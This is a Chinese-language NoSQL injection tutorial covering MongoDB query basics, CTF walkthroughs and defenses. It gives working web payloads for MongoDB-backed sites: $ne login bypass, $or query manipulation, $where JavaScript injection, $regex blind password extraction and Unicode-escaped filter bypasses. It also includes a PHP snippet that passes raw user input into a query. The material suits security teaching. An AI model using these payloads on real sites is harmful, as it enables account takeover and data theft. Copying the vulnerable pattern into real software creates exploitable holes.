Nosql 注入从零到一
字数 1856 2025-08-09 17:09:35
NoSQL注入从零到一:全面指南
什么是NoSQL
NoSQL(Not Only SQL)是一种非关系型数据库技术,用于处理大规模数据存储。与传统的关系型数据库(RDBMS)不同,NoSQL数据库不使用通用的SQL查询语言,而是使用特定于产品的查询语法。
MongoDB基础
MongoDB核心概念
-
数据库(Database):MongoDB实例可以包含多个独立数据库
- 命令:
show dbs显示所有数据库,db显示当前数据库
- 命令:
-
集合(Collection):相当于关系型数据库中的表
- 命令:
show collections或show tables显示集合
- 命令:
-
文档(Document):一组键值对,相当于表中的一行记录
- 示例:
{"name":"whoami", "age":19}
- 示例:
MongoDB基本操作
-
创建数据库:
use DATABASE_NAME -
创建集合:
db.createCollection(name, options) -
插入文档:
db.COLLECTION_NAME.insert(document) -
更新文档:
update()方法:db.collection.update(query, update, options)save()方法:db.collection.save(document)
-
查询文档:
db.collection.find(query, projection)- 使用
pretty()格式化输出
- 使用
查询条件比较
| 操作 | MongoDB语法 | 类似SQL语句 |
|---|---|---|
| 等于 | {key:value} |
where key = value |
| 小于 | {key:{$lt:value}} |
where key < value |
| 小于等于 | {key:{$lte:value}} |
where key <= value |
| 大于 | {key:{$gt:value}} |
where key > value |
| 大于等于 | {key:{$gte:value}} |
where key >= value |
| 不等于 | {key:{$ne:value}} |
where key != value |
NoSQL注入分类
1. 重言式注入(永真式注入)
原理:注入代码使条件表达式永远为真,绕过认证
示例:
username[$ne]=1&password[$ne]=1
转换为MongoDB查询:
{'username':{$ne:1}, 'password':{$ne:1}}
2. 联合查询注入
原理:通过注入改变查询返回的数据集
示例:
username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456
转换为:
{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}
3. JavaScript注入
原理:利用MongoDB支持JavaScript执行的特性注入恶意代码
$where操作符注入:
db.users.find({ $where: "function(){return(this.username == 'whoami')}" })
危险示例:
username=1&password=1';(function(){return(tojson(db.getCollectionNames()))})();var a='1
4. 盲注
原理:当无回显时,使用$regex进行布尔盲注
示例:
username=admin&password[$regex]=^123 // 测试密码是否以123开头
username=admin&password[$regex]=.{5} // 测试密码长度是否为5
不同语言环境下的注入
PHP中的MongoDB注入
关键点:
- PHP的松散数组特性使
value[$ne]=1转换为array($ne=>1) - 使用新版MongoDB PHP驱动时的注入方式
示例代码:
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017");
$username = $_POST['username']; // 用户可控输入
$password = $_POST['password']; // 用户可控输入
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
Node.js中的MongoDB注入
关键点:
- 使用mongoose模块时的注入方式
- JSON格式的注入payload
示例:
{"username":{"$ne":1},"password": {"$ne":1}}
或使用Unicode编码绕过过滤:
{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
防御措施
- 输入验证:严格校验所有用户输入
- 参数化查询:使用驱动程序提供的安全方法
- 最小权限原则:数据库用户应仅具有必要权限
- 禁用危险功能:如无必要,禁用服务器端JavaScript执行
- 使用ORM:尽可能使用安全的ORM工具
CTF例题分析
[2021 MRCTF]Half-Nosqli
解题步骤:
- 发现Swagger UI接口
- 使用NoSQL永真式绕过登录:
{"email": {"$ne": ""}, "password": {"$ne": ""}} - 获取token后利用SSRF漏洞
[GKCTF 2021]hackme
解题步骤:
- 发现NoSQL注入提示
- 使用Unicode编码绕过过滤:
{"username":{"\\u0024\\u006e\\u0065":1},"password":{"\\u0024\\u006e\\u0065":1}} - 编写盲注脚本爆破密码
工具推荐
- NoSQLMap:自动化NoSQL注入工具
- NoSQLAttack:NoSQL注入测试工具(已停止维护)
总结
NoSQL注入与传统SQL注入有显著不同,攻击者可以利用应用程序的编程语言特性在数据库中执行命令,甚至可能在应用程序本身中执行代码。理解MongoDB的查询语法和不同语言环境下的注入方式对于防御此类攻击至关重要。